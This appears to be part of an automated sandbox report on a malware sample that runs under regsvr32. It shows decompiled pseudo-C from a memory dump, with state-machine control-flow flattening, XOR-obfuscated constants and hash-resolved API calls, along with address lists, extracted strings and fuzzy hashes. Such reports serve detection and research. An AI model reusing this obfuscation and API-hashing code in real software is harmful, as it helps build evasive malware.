											E0423FECB(_t832, _v396, _v364, _v404, _v168);
											E0423FECB(_t833, _v328, _v336, _v340, _v440);
											_t978 = _v96;
											_t987 = _t987 + 0x44;
											goto L31;
										} else {
											if(_t853 == 0x1281fcd) {
												E04222EBF(_v420, _v104, _v388);
												_t853 = 0x89f995e;
												while(1) {
													L1:
													goto L2;
												}
											} else {
												if(_t853 == _t824) {
													_push(_v212);
													_push(_v312);
													_push(_v216);
													_t985 = E0423E1F8(0x4221368, _v436, __eflags);
													_t901 = 0x48;
													_v100 = 0x4221368;
													_t844 = E042416C0(_v276, 0x4221368, _v116,  &_v100, _v124, _v192, _t841, _v140, _v428, _t901, _v372, _v200, _v132,  &_v76);
													_t994 = _t987 + 0x3c;
													__eflags = _t844 - _v332;
													if(_t844 != _v332) {
														_t853 = 0xc502d5f;
													} else {
														_t975 =  *0x4246224; // 0x0
														E0423C9B0(_v244, _t975 + 8, _v148, 0x40,  &_v68, _v184);
														_t994 = _t994 + 0x10;
														_t853 = 0x9badbc8;
													}
													E0423FECB(_t985, _v228, _v316, _v268, _v324);
													_t987 = _t994 + 0xc;
													L31:
													_t982 = 0x6f661e6;
													_t824 = 0x38eaa65;
													_t882 = 0xe81b6a7;
													_t957 = 0xaefec99;
													goto L32;
												} else {
													if(_t853 == 0x5c5114f) {
														E0422F7FE(_v156, _v112, _v352, _v344);
													} else {
														if(_t853 == _t982) {
															_t850 = E04223431(_v104);
															_t853 = 0x1281fcd;
															__eflags = _t850;
															_t986 =  !=  ? 1 : _t986;
															while(1) {
																L1:
																L2:
																L3:
																_t957 = 0xaefec99;
																goto L4;
															}
														} else {
															if(_t853 != 0x87433f6) {
																goto L32;
															} else {
																_t853 = 0x49f634;
																continue;
															}
														}
													}
												}
											}
										}
									}
									L35:
									return _t986;
								}
								__eflags = _t853 - 0x9badbc8;
								if(__eflags == 0) {
									_push(_v204);
									_push(_v264);
									_push(_v256);
									__eflags = E0422BC32( *((intOrPtr*)(_t978 + 4)),  &_v108, _v240, _v368, _v376, E0423E1F8(0x4221368, _v196, __eflags),  *_t978, _v180, _v248, _v112, 0x4221368, _v188) - _v232;
									_t853 =  ==  ? 0xaefec99 : 0xc502d5f;
									E0423FECB(_t819, _v164, _v172, _v360, _v224);
									_t987 = _t987 + 0x40;
									goto L31;
								} else {
									__eflags = _t853 - _t957;
									if(_t853 == _t957) {
										_t825 = E042251E7( &_v104, _v272, _v116, _v108, _v208, _v384, _v392);
										_t987 = _t987 + 0x14;
										__eflags = _t825;
										_t853 =  ==  ? _t982 : 0x89f995e;
										goto L1;
									} else {
										__eflags = _t853 - 0xc502d5f;
										if(_t853 == 0xc502d5f) {
											E0423C237(_v116, _v120, _v280, _v152);
											_t853 = 0x5c5114f;
											while(1) {
												L1:
												goto L2;
											}
										} else {
											__eflags = _t853 - 0xc917448;
											if(_t853 == 0xc917448) {
												_v100 = _v92;
												_t829 = L042443E6(_v400, _v128, _v408, _v112, _v416, _v160,  &_v116, _v92);
												_t987 = _t987 + 0x18;
												__eflags = _t829 - _v288;
												_t882 = 0xe81b6a7;
												_t824 = 0x38eaa65;
												_t853 =  ==  ? 0xe81b6a7 : 0x5c5114f;
												goto L3;
											} else {
												__eflags = _t853 - _t882;
												if(_t853 != _t882) {
													goto L32;
												} else {
													__eflags = E0423C2CF(_v304, _v348, _v424, _v116) - _v296;
													_t824 = 0x38eaa65;
													_t853 =  ==  ? 0x38eaa65 : 0xc502d5f;
													goto L2;
												}
											}
										}
									}
								}
								goto L35;
								L32:
								__eflags = _t853 - 0x468e224;
							} while (__eflags != 0);
							goto L35;
						}
					}
				}
			}

0x04230f90
0x04230f92
0x04230f99
0x04230fa6
0x04230fa8
0x04230fad
0x04230fb4
0x04230fbb
0x04230fc3
0x04230fcb
0x04230fd0
0x04230fd8
0x04230fe0
0x04230feb
0x04230ff3
0x04230ffe
0x04231013
0x0423101a
0x04231025
0x04231030
0x0423103b
0x04231046
0x04231051
0x04231059
0x04231061
0x04231069
0x04231074
0x0423107f
0x0423108a
0x04231095
0x042310a2
0x042310a5
0x042310a9
0x042310b6
0x042310ba
0x042310bf
0x042310ca
0x042310d5
0x042310e0
0x042310eb
0x042310f6
0x04231101
0x0423110c
0x04231117
0x04231122
0x04231134
0x04231139
0x04231142
0x0423114d
0x04231160
0x04231161
0x04231168
0x04231173
0x0423117b
0x04231186
0x0423118a
0x0423118f
0x0423119a
0x042311a5
0x042311b0
0x042311bb
0x042311ce
0x042311d7
0x042311e2
0x042311ea
0x042311f2
0x04231201
0x04231204
0x04231208
0x04231210
0x0423121b
0x0423122b
0x04231232
0x0423123d
0x04231248
0x04231253
0x0423125b
0x04231266
0x0423127c
0x04231283
0x0423128e
0x04231299
0x042312a4
0x042312af
0x042312ba
0x042312c5
0x042312d8
0x042312d9
0x042312e0
0x042312eb
0x042312f6
0x042312fd
0x04231305
0x04231310
0x0423131e
0x04231322
0x0423132f
0x04231333
0x0423133b
0x04231346
0x04231351
0x04231359
0x04231364
0x0423136c
0x04231374
0x0423137c
0x04231384
0x0423138c
0x04231394
0x04231399
0x042313a1
0x042313a6
0x042313ae
0x042313b6
0x042313be
0x042313c6
0x042313cb
0x042313d3
0x042313de
0x042313e9
0x042313f4
0x04231407
0x0423140e
0x04231419
0x04231424
0x0423142c
0x04231434
0x0423143c
0x04231444
0x04231454
0x04231459
0x04231464
0x04231467
0x0423146b
0x04231473
0x0423147b
0x04231480
0x04231490
0x04231494
0x0423149c
0x042314a4
0x042314ac
0x042314b4
0x042314bc
0x042314c4
0x042314cf
0x042314d7
0x042314e2
0x042314ea
0x042314f4
0x042314f5
0x042314fe
0x04231502
0x0423150a
0x04231512
0x0423151a
0x04231522
0x0423152a
0x04231532
0x0423153d
0x04231548
0x04231553
0x0423155e
0x04231566
0x0423156e
0x04231576
0x0423157b
0x04231583
0x0423158b
0x04231593
0x0423159d
0x042315a1
0x042315a9
0x042315b4
0x042315ca
0x042315d1
0x042315dc
0x042315e7
0x042315ef
0x042315fa
0x04231605
0x04231610
0x04231618
0x04231623
0x04231637
0x04231646
0x0423164d
0x0423165a
0x0423166e
0x04231673
0x0423167c
0x04231687
0x04231692
0x0423169d
0x042316a8
0x042316b3
0x042316be
0x042316c9
0x042316d1
0x042316d5
0x042316dd
0x042316e5
0x042316ed
0x042316f8
0x04231703
0x0423170e
0x04231719
0x04231720
0x04231725
0x0423172e
0x04231739
0x0423174b
0x04231750
0x04231759
0x04231764
0x0423176f
0x0423177a
0x04231785
0x04231790
0x0423179b
0x042317a3
0x042317ae
0x042317b9
0x042317c1
0x042317c9
0x042317d4
0x042317df
0x042317ee
0x042317f3
0x042317fc
0x04231807
0x04231812
0x0423181d
0x04231828
0x04231833
0x0423183e
0x04231846
0x04231851
0x0423185c
0x04231867
0x0423186f
0x0423187a
0x04231885
0x04231890
0x0423189b
0x042318a6
0x042318b1
0x042318c0
0x042318c3
0x042318ca
0x042318d5
0x042318e8
0x042318f1
0x042318fc
0x0423190a
0x0423190f
0x04231913
0x04231918
0x04231920
0x04231928
0x04231930
0x04231938
0x04231947
0x0423194a
0x0423194e
0x04231956
0x04231961
0x0423196c
0x04231977
0x0423198d
0x0423199f
0x042319a6
0x042319b1
0x042319bc
0x042319c7
0x042319d2
0x042319e4
0x042319e9
0x042319f2
0x042319fd
0x04231a08
0x04231a13
0x04231a1e
0x04231a26
0x04231a36
0x04231a3e
0x04231a49
0x04231a54
0x04231a5f
0x04231a6a
0x04231a75
0x04231a84
0x04231a87
0x04231a8e
0x04231a99
0x04231aa1
0x04231aa9
0x04231aae
0x04231ab3
0x04231abb
0x04231ac8
0x04231acc
0x04231ad4
0x04231adc
0x04231ae4
0x04231aec
0x04231af4
0x04231afc
0x04231b01
0x04231b09
0x04231b17
0x04231b1e
0x04231b23
0x04231b2e
0x04231b2f
0x04231b3a
0x04231b3e
0x04231b43
0x04231b4b
0x04231b58
0x04231b5c
0x04231b61
0x04231b69
0x04231b71
0x04231b84
0x04231b93
0x04231b9a
0x04231ba5
0x04231bb0
0x04231bb8
0x04231bc3
0x04231bce
0x04231bd9
0x04231be4
0x04231bf8
0x04231bff
0x04231c0a
0x04231c15
0x04231c20
0x04231c2b
0x04231c36
0x04231c41
0x04231c4c
0x04231c57
0x04231c5f
0x04231c67
0x04231c6f
0x04231c74
0x04231c7c
0x04231c7c
0x04231c81
0x04231c81
0x04231c86
0x04231c86
0x04231c86
0x04231c8b
0x04231c8b
0x04231c8b
0x04231c8b
0x04231c91
0x00000000
0x00000000
0x04231c97
0x04231f03
0x04231f0a
0x04231c7c
0x04231c7c
0x00000000
0x04231c7c
0x04231c9d
0x04231ca3
0x04231e0d
0x04231e19
0x04231e1d
0x04231e2b
0x04231e3a
0x04231e41
0x04231e48
0x04231e97
0x04231ea7
0x04231eb6
0x04231ed6
0x04231edb
0x04231ee2
0x00000000
0x04231ca9
0x04231caf
0x04231dfd
0x04231e03
0x04231c7c
0x04231c7c
0x00000000
0x04231c7c
0x04231cb5
0x04231cb7
0x04231cf7
0x04231d03
0x04231d0a
0x04231d1d
0x04231d28
0x04231d38
0x04231d76
0x04231d7b
0x04231d7e
0x04231d85
0x04231dbe
0x04231d87
0x04231d9f
0x04231daf
0x04231db4
0x04231db7
0x04231db7
0x04231de1
0x04231de6
0x042320f6
0x042320f6
0x042320fb
0x04232100
0x04232105
0x00000000
0x04231cb9
0x04231cbf
0x0423212e
0x04231cc5
0x04231cc7
0x04231ce3
0x04231cea
0x04231cf0
0x04231cf2
0x04231c7c
0x04231c7c
0x04231c81
0x04231c86
0x04231c86
0x00000000
0x04231c86
0x04231cc9
0x04231ccf
0x00000000
0x04231cd5
0x04231cd5
0x00000000
0x04231cd5
0x04231ccf
0x04231cc7
0x04231cbf
0x04231cb7
0x04231caf
0x04231ca3
0x04232137
0x04232141
0x04232141
0x04231f14
0x04231f1a
0x0423204f
0x0423205b
0x04232062
0x042320c6
0x042320dd
0x042320ee
0x042320f3
0x00000000
0x04231f20
0x04231f20
0x04231f22
0x04232038
0x0423203d
0x04232045
0x04232047
0x00000000
0x04231f28
0x04231f28
0x04231f2e
0x04231ffc
0x04232003
0x04231c7c
0x04231c7c
0x00000000
0x04231c7c
0x04231f34
0x04231f34
0x04231f3a
0x04231f86
0x04231fb6
0x04231fbd
0x04231fcc
0x04231fce
0x04231fd3
0x04231fd8
0x00000000
0x04231f3c
0x04231f3c
0x04231f3e
0x00000000
0x04231f44
0x04231f6f
0x04231f71
0x04231f76
0x00000000
0x04231f76
0x04231f3e
0x04231f3a
0x04231f2e
0x04231f22
0x00000000
0x0423210a
0x0423210a
0x0423210a
0x00000000
0x04232116
0x04231c86
0x04231c81

Strings

D)/, xrefs: 04231C2B
inpG, xrefs: 042313FF
2f, xrefs: 04231956
inpG, xrefs: 04231419
SG<, xrefs: 04231AB3
jW, xrefs: 0423107F
Xn!, xrefs: 04231266
Na$, xrefs: 042312C5
y.n, xrefs: 04231719
buV, xrefs: 04231BE4
0H\, xrefs: 042316ED
KN, xrefs: 0423151A
o]n, xrefs: 04231A6A
2^~, xrefs: 0423150A
nB[N, xrefs: 042317C9
], xrefs: 04231918
R, xrefs: 04231AF4
x, xrefs: 042315B4

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0H\$2^~$D)/$KN$Na$$R$SG<$Xn!$buV$inpG$inpG$jW$nB[N$o]n$x$y.n$2f$]
API String ID: 0-421492616
Opcode ID: 4efdc953c31af1b3c859d63f3f0d7715e93d07c77e394a6422d0f1306bb401b5
Instruction ID: b18a9af9e59f1f8242812e81227c967ba998e1d9c646c65a2b86befd35ad1610
Opcode Fuzzy Hash: 4efdc953c31af1b3c859d63f3f0d7715e93d07c77e394a6422d0f1306bb401b5
Instruction Fuzzy Hash: A39211712093818FD379CF61C94AB9BBBE2BBC4704F10891DE6DA86260D7B19959CF43

Uniqueness

Uniqueness Score: -1.00%

Function 04232E5D, Relevance: 21.9, Strings: 17, Instructions: 653
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E04232E5D(int __ecx, signed int __edx) {
				char _v128;
				char _v256;
				char _v288;
				intOrPtr _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				unsigned int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				unsigned int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				signed int _v472;
				unsigned int _v476;
				int _v480;
				signed int _v484;
				signed int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				unsigned int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				unsigned int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				unsigned int _v576;
				void* _t707;
				void* _t708;
				signed int _t718;
				signed int _t732;
				signed int _t737;
				int _t740;
				void* _t742;
				void* _t750;
				signed int _t752;
				signed int _t758;
				signed int _t768;
				signed int _t769;
				intOrPtr _t770;
				int _t774;
				signed int _t786;
				void* _t832;
				void* _t833;
				void* _t836;
				void* _t837;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t860;
				void* _t861;
				void* _t864;
				void* _t867;
				signed int _t870;
				unsigned int* _t871;
				void* _t875;

				_t774 = __ecx;
				_t871 =  &_v576;
				_v296 = __edx;
				_v480 = __ecx;
				_v420 = 0x6e1d72;
				_v420 = _v420 << 5;
				_v420 = _v420 * 0x3c;
				_t864 = 0xffd9b77;
				_v420 = _v420 ^ 0x39dcd700;
				_v532 = 0x1f7a5f;
				_t845 = 0xe;
				_v532 = _v532 / _t845;
				_v532 = _v532 ^ 0x6f56ef0e;
				_v532 = _v532 >> 0xa;
				_v532 = _v532 ^ 0x001a3d41;
				_v508 = 0xe1e69b;
				_v508 = _v508 + 0x2215;
				_v508 = _v508 + 0xffff2958;
				_v508 = _v508 + 0xffffaa0c;
				_v508 = _v508 ^ 0x00efd475;
				_v540 = 0xcd1956;
				_v540 = _v540 | 0x45240a95;
				_t846 = 0x77;
				_v540 = _v540 * 0x18;
				_v540 = _v540 ^ 0x336e332d;
				_v540 = _v540 ^ 0xbd574949;
				_v484 = 0x334a44;
				_v484 = _v484 ^ 0x919eff65;
				_v484 = _v484 / _t846;
				_v484 = _v484 | 0x2d19544d;
				_v484 = _v484 ^ 0x2d3e50ce;
				_v436 = 0x66ccc0;
				_v436 = _v436 + 0xffffec65;
				_t847 = 0x52;
				_v436 = _v436 * 0x24;
				_v436 = _v436 ^ 0x0e7c9935;
				_v492 = 0x2c49e8;
				_v492 = _v492 << 6;
				_v492 = _v492 << 2;
				_v492 = _v492 + 0xffff7e7f;
				_v492 = _v492 ^ 0x2c4d1795;
				_v348 = 0xb21165;
				_v348 = _v348 >> 0xb;
				_v348 = _v348 ^ 0x000033e8;
				_v464 = 0x27371d;
				_v464 = _v464 / _t847;
				_v464 = _v464 + 0xc709;
				_v464 = _v464 ^ 0x00086d33;
				_v476 = 0xe8a891;
				_v476 = _v476 >> 0xf;
				_v476 = _v476 + 0xffff587a;
				_v476 = _v476 ^ 0xfffd6e16;
				_v568 = 0xc76fce;
				_v568 = _v568 + 0xbc5c;
				_v568 = _v568 * 3;
				_v568 = _v568 | 0x5aa2bc40;
				_v568 = _v568 ^ 0x5afa6d0d;
				_v456 = 0xcc33e1;
				_v456 = _v456 ^ 0x6317d795;
				_v456 = _v456 | 0x1eb23508;
				_v456 = _v456 ^ 0x7ff946e0;
				_v560 = 0xede4ef;
				_v560 = _v560 + 0xffffe679;
				_t848 = 0x70;
				_v560 = _v560 / _t848;
				_v560 = _v560 << 5;
				_v560 = _v560 ^ 0x0043644b;
				_v500 = 0x670a53;
				_v500 = _v500 | 0x71b65663;
				_t849 = 0x2b;
				_v500 = _v500 * 0x3d;
				_v500 = _v500 + 0xfb01;
				_v500 = _v500 ^ 0x27fbe352;
				_v460 = 0x5f6e6b;
				_v460 = _v460 << 0xe;
				_v460 = _v460 | 0xdb801e45;
				_v460 = _v460 ^ 0xdb911bcb;
				_v404 = 0x155fb3;
				_v404 = _v404 + 0x82cf;
				_v404 = _v404 | 0x7954f6f3;
				_v404 = _v404 ^ 0x79505431;
				_v364 = 0x6447e1;
				_v364 = _v364 << 4;
				_v364 = _v364 ^ 0x064cce00;
				_v452 = 0x93f6b7;
				_v452 = _v452 | 0x0efbc074;
				_v452 = _v452 * 0x74;
				_v452 = _v452 ^ 0xca274b72;
				_v516 = 0x2e9555;
				_v516 = _v516 * 0x4d;
				_v516 = _v516 ^ 0x52348c71;
				_v516 = _v516 + 0xffff65c2;
				_v516 = _v516 ^ 0x5c3ff1c5;
				_v556 = 0x4e7cf7;
				_v556 = _v556 * 0x30;
				_v556 = _v556 ^ 0xab1a74ca;
				_v556 = _v556 | 0x39490d7c;
				_v556 = _v556 ^ 0xbde6ca21;
				_v304 = 0x79a99e;
				_v304 = _v304 | 0x92bbf026;
				_v304 = _v304 ^ 0x92fabbf2;
				_v444 = 0xf2d903;
				_v444 = _v444 * 0x13;
				_v444 = _v444 << 3;
				_v444 = _v444 ^ 0x90370785;
				_v388 = 0xce947f;
				_v388 = _v388 + 0xf4e6;
				_v388 = _v388 + 0xffffe2fa;
				_v388 = _v388 ^ 0x00c891aa;
				_v440 = 0x3724ee;
				_v440 = _v440 ^ 0xc994252f;
				_v440 = _v440 + 0xffff9dbe;
				_v440 = _v440 ^ 0xc9a5a4c3;
				_v544 = 0x9c24f5;
				_v544 = _v544 >> 8;
				_v544 = _v544 * 0x12;
				_v544 = _v544 + 0xb91e;
				_v544 = _v544 ^ 0x0007bff8;
				_v448 = 0x5ce888;
				_v448 = _v448 / _t849;
				_v448 = _v448 ^ 0x9d1dcba1;
				_v448 = _v448 ^ 0x9d138551;
				_v552 = 0x5ae9b7;
				_v552 = _v552 + 0xffffcdd3;
				_v552 = _v552 >> 0xa;
				_v552 = _v552 >> 3;
				_v552 = _v552 ^ 0x000286f6;
				_v372 = 0x1cfcf8;
				_v372 = _v372 << 0x10;
				_v372 = _v372 ^ 0xfcf9df5b;
				_v572 = 0x7fff3;
				_v572 = _v572 << 3;
				_v572 = _v572 | 0xc07f6c1b;
				_t850 = 0x6c;
				_v572 = _v572 / _t850;
				_v572 = _v572 ^ 0x01c5e077;
				_v468 = 0xb8a28e;
				_v468 = _v468 >> 0xa;
				_t851 = 7;
				_v468 = _v468 * 0x38;
				_v468 = _v468 ^ 0x0004661e;
				_v472 = 0x1c4be2;
				_v472 = _v472 >> 0xb;
				_v472 = _v472 / _t851;
				_v472 = _v472 ^ 0x000b37fd;
				_v324 = 0x397321;
				_v324 = _v324 + 0x4649;
				_v324 = _v324 ^ 0x003dbcde;
				_v564 = 0x90a3d2;
				_v564 = _v564 >> 0xf;
				_v564 = _v564 | 0x55e281c1;
				_v564 = _v564 + 0xffff9c60;
				_v564 = _v564 ^ 0x55ec6797;
				_v524 = 0x36ce4e;
				_v524 = _v524 + 0x9321;
				_v524 = _v524 ^ 0x68577083;
				_v524 = _v524 + 0x842e;
				_v524 = _v524 ^ 0x686a3805;
				_v380 = 0xf92015;
				_t852 = 0x57;
				_v380 = _v380 * 0x31;
				_v380 = _v380 ^ 0x2faa62dc;
				_v428 = 0xf06949;
				_v428 = _v428 ^ 0xe190386e;
				_v428 = _v428 | 0xd7c767f0;
				_v428 = _v428 ^ 0xf7e62dec;
				_v316 = 0x53402;
				_v316 = _v316 ^ 0x1a7eacd5;
				_v316 = _v316 ^ 0x1a780dc3;
				_v396 = 0xea020b;
				_v396 = _v396 / _t852;
				_v396 = _v396 >> 7;
				_v396 = _v396 ^ 0x0007fa92;
				_v576 = 0x94f18;
				_v576 = _v576 + 0x323;
				_t853 = 0x5a;
				_v576 = _v576 / _t853;
				_v576 = _v576 >> 7;
				_v576 = _v576 ^ 0x0009d62c;
				_v340 = 0x5ab89e;
				_v340 = _v340 + 0xcec5;
				_v340 = _v340 ^ 0x005981b9;
				_v424 = 0xf4fb06;
				_v424 = _v424 << 0xf;
				_v424 = _v424 + 0x6e15;
				_v424 = _v424 ^ 0x7d84f79d;
				_v308 = 0xe5ad48;
				_v308 = _v308 + 0xffff809e;
				_v308 = _v308 ^ 0x00e6a4ab;
				_v432 = 0xc8665e;
				_v432 = _v432 | 0xb25d9dfb;
				_v432 = _v432 * 0x51;
				_v432 = _v432 ^ 0x9835fda6;
				_v536 = 0x3c612a;
				_v536 = _v536 ^ 0xe3614c8f;
				_v536 = _v536 + 0x89b2;
				_v536 = _v536 >> 3;
				_v536 = _v536 ^ 0x1c61cdd9;
				_v312 = 0xb1cab1;
				_v312 = _v312 + 0x5335;
				_v312 = _v312 ^ 0x00b6c298;
				_v332 = 0x3dadc5;
				_v332 = _v332 >> 0xf;
				_v332 = _v332 ^ 0x00096a38;
				_v320 = 0xd2cf6d;
				_t854 = 0x5e;
				_v320 = _v320 / _t854;
				_v320 = _v320 ^ 0x000f4fea;
				_v528 = 0xbc9a67;
				_t768 = 0x35;
				_v528 = _v528 / _t768;
				_v528 = _v528 ^ 0x531db0de;
				_v528 = _v528 << 2;
				_v528 = _v528 ^ 0x4c7ccc72;
				_v368 = 0x9c5377;
				_v368 = _v368 | 0xa0dcba47;
				_v368 = _v368 ^ 0xa0d1bf3f;
				_v416 = 0x1ec4a4;
				_t855 = 0x79;
				_v416 = _v416 * 0x28;
				_v416 = _v416 / _t855;
				_v416 = _v416 ^ 0x00072384;
				_v376 = 0x2ac77;
				_v376 = _v376 << 0xf;
				_v376 = _v376 ^ 0x563f0855;
				_v412 = 0x448f7a;
				_v412 = _v412 << 0xd;
				_v412 = _v412 >> 2;
				_v412 = _v412 ^ 0x24738c34;
				_v356 = 0xc97c1e;
				_v356 = _v356 ^ 0x373e9b5c;
				_v356 = _v356 ^ 0x37f1bea5;
				_v548 = 0xc08620;
				_t856 = 0x3e;
				_v548 = _v548 * 0x48;
				_v548 = _v548 >> 0xe;
				_v548 = _v548 + 0x8cd4;
				_v548 = _v548 ^ 0x00077c97;
				_v504 = 0x1bacca;
				_v504 = _v504 / _t856;
				_v504 = _v504 + 0xffff3533;
				_v504 = _v504 + 0xffffc69c;
				_v504 = _v504 ^ 0xfffb1415;
				_v512 = 0x4f44ee;
				_v512 = _v512 + 0x177f;
				_v512 = _v512 + 0xce0c;
				_v512 = _v512 << 2;
				_v512 = _v512 ^ 0x014cc697;
				_v360 = 0x8b661;
				_t857 = 0x1e;
				_v360 = _v360 / _t857;
				_v360 = _v360 ^ 0x000dc15c;
				_v520 = 0xb38031;
				_v520 = _v520 | 0xa1714482;
				_t858 = 0x36;
				_t870 = _v296;
				_v520 = _v520 * 0x52;
				_v520 = _v520 + 0xc23a;
				_v520 = _v520 ^ 0xe016b971;
				_v496 = 0x319ddd;
				_v496 = _v496 / _t858;
				_t859 = 0x3b;
				_t860 = _v296;
				_v496 = _v496 / _t859;
				_v496 = _v496 + 0xffffa02a;
				_v496 = _v496 ^ 0xfff3e4c0;
				_v352 = 0x3691e9;
				_t769 = _v296;
				_v352 = _v352 / _t768;
				_v352 = _v352 ^ 0x000e8b32;
				_v408 = 0x2ac6b;
				_v408 = _v408 * 0x5a;
				_v408 = _v408 << 9;
				_v408 = _v408 ^ 0xe13230fa;
				_v392 = 0x204939;
				_v392 = _v392 + 0x4ed4;
				_v392 = _v392 * 0x35;
				_v392 = _v392 ^ 0x06bd0f48;
				_v336 = 0x1179fc;
				_v336 = _v336 + 0xffff73d1;
				_v336 = _v336 ^ 0x0013f977;
				_v400 = 0xb07871;
				_v400 = _v400 >> 3;
				_v400 = _v400 | 0xc580b254;
				_v400 = _v400 ^ 0xc59d0b5c;
				_v344 = 0x9fe4dd;
				_v344 = _v344 << 0xe;
				_v344 = _v344 ^ 0xf932a85a;
				_v328 = 0xd2ff81;
				_v328 = _v328 ^ 0x82aa1598;
				_v328 = _v328 ^ 0x827d602f;
				_v488 = 0x92e76b;
				_v488 = _v488 | 0x6946c4e8;
				_v488 = _v488 + 0xbbca;
				_v488 = _v488 * 0x54;
				_v488 = _v488 ^ 0xbac9f786;
				_v384 = 0xafba80;
				_v384 = _v384 ^ 0x0a481803;
				_v384 = _v384 << 6;
				_v384 = _v384 ^ 0xb9e44209;
				while(1) {
					L1:
					_t707 = 0x9c71ab3;
					do {
						while(1) {
							L2:
							_t875 = _t864 - 0x86fed85;
							if(_t875 <= 0) {
								break;
							}
							__eflags = _t864 - _t707;
							if(__eflags == 0) {
								_push(_v432);
								_t770 = _t860 + _t870;
								_push(_v308);
								_push(0x4221808);
								_v292 = _t770;
								_t708 = E04234244(_v340, _v424, __eflags);
								__eflags = _t770 - _t870;
								_t769 = E0423E1AC(_v536, _t770 - _t870, _t870,  &_v256, _v312,  &_v288, _v332,  &_v128, _v320, _t770 - _t870) + _t870;
								E0423FECB(_t708, _v528, _v368, _v416, _v376);
								_t774 = _v480;
								_t871 =  &(_t871[0xe]);
								_t864 = 0x1bf95f7;
								_t707 = 0x9c71ab3;
								goto L31;
							}
							__eflags = _t864 - 0xe33788a;
							if(_t864 == 0xe33788a) {
								_t860 = 0x4000;
								_push(_t774);
								_push(_t774);
								_t758 = E0422C5D8(0x4000);
								_t871 =  &(_t871[3]);
								_v300 = _t758;
								__eflags = _t758;
								if(__eflags == 0) {
									return _t758;
								}
								_t864 = 0x77316ed;
								L14:
								_t774 = _v480;
								while(1) {
									L1:
									_t707 = 0x9c71ab3;
									goto L2;
								}
							}
							__eflags = _t864 - 0xf34fc82;
							if(_t864 == 0xf34fc82) {
								_push(_t774);
								_push(_t774);
								_t860 = E0423CCA0(4, 0x10);
								_push( &_v128);
								_push(_t860);
								_push(_v560);
								_t833 = 0xb;
								E0422E404(_v456, _t833);
								_t864 = 0x5f37ccd;
								L13:
								_t871 =  &(_t871[7]);
								goto L14;
							}
							__eflags = _t864 - 0xfefbdda;
							if(_t864 == 0xfefbdda) {
								E04242B09(_v328, _v300, _v488, _v384);
								return 0;
							}
							__eflags = _t864 - 0xffd9b77;
							if(__eflags != 0) {
								goto L31;
							}
							_t864 = 0x17d426e;
						}
						if(_t875 == 0) {
							_t860 = _t860 +  *((intOrPtr*)(_t774 + 4));
							_push(_t774);
							_push(_t774);
							_t718 = E0422C5D8(_t860);
							_t774 = _v480;
							_t870 = _t718;
							_t871 =  &(_t871[3]);
							__eflags = _t870;
							_t707 = 0x9c71ab3;
							_t864 =  !=  ? 0x9c71ab3 : 0xfefbdda;
							goto L2;
						}
						if(_t864 == 0x17d426e) {
							_push(_t774);
							_push(_t774);
							_t860 = E0423CCA0(1, 8);
							_push( &_v288);
							_push(_t860);
							_push(_v492);
							_t832 = 9;
							E0422E404(_v436, _t832);
							_t864 = 0xf34fc82;
							goto L13;
						}
						if(_t864 == 0x1bf95f7) {
							E0423C9B0(_v412, _t769, _v356,  *((intOrPtr*)(_t774 + 4)),  *_t774, _v548);
							_t774 = _v480;
							_t871 =  &(_t871[4]);
							_t864 = 0x7c1f8ac;
							_t769 = _t769 +  *((intOrPtr*)(_t774 + 4));
							goto L1;
						}
						if(_t864 == 0x5f37ccd) {
							_t867 =  &_v256;
							_push(_t774);
							_push(_t774);
							_t836 = E0423CCA0(8, 0x10);
							_t871 =  &(_t871[4]);
							_t732 = _v420;
							__eflags = _t732 - _t836;
							if(_t732 < _t836) {
								_t844 = _t836 - _t732;
								_t861 = _t867;
								_t786 = _t844 >> 1;
								__eflags = _t786;
								_t740 = memset(_t861, 0x2d002d, _t786 << 2);
								asm("adc ecx, ecx");
								_t867 = _t867 + _t844 * 2;
								memset(_t861 + _t786, _t740, 0);
								_t871 =  &(_t871[6]);
								_t774 = 0;
							}
							_push(_t774);
							_push(_t774);
							_t737 = E0423CCA0(8, 0x10);
							_push(_t867);
							_t860 = _t737;
							_push(_t860);
							_push(_v388);
							_t837 = 0xb;
							E0422E404(_v444, _t837);
							_t864 = 0xe33788a;
							goto L13;
						}
						if(_t864 == 0x77316ed) {
							_push(_v472);
							_push(_v468);
							_push(_v572);
							_t742 = E0423E1F8(0x42217a8, _v372, __eflags);
							_t871 =  &(_t871[3]);
							_push( &_v256);
							_push(_t742);
							_push(_t860);
							_push(_v300);
							 *((intOrPtr*)(E042431AA(0xb00b1257, 0x44)))();
							E0423FECB(_t742, _v324, _v564, _v524, _v380);
							_t864 = 0x86fed85;
							goto L13;
						}
						_t880 = _t864 - 0x7c1f8ac;
						if(_t864 != 0x7c1f8ac) {
							goto L31;
						}
						_push(_v520);
						_push(_v360);
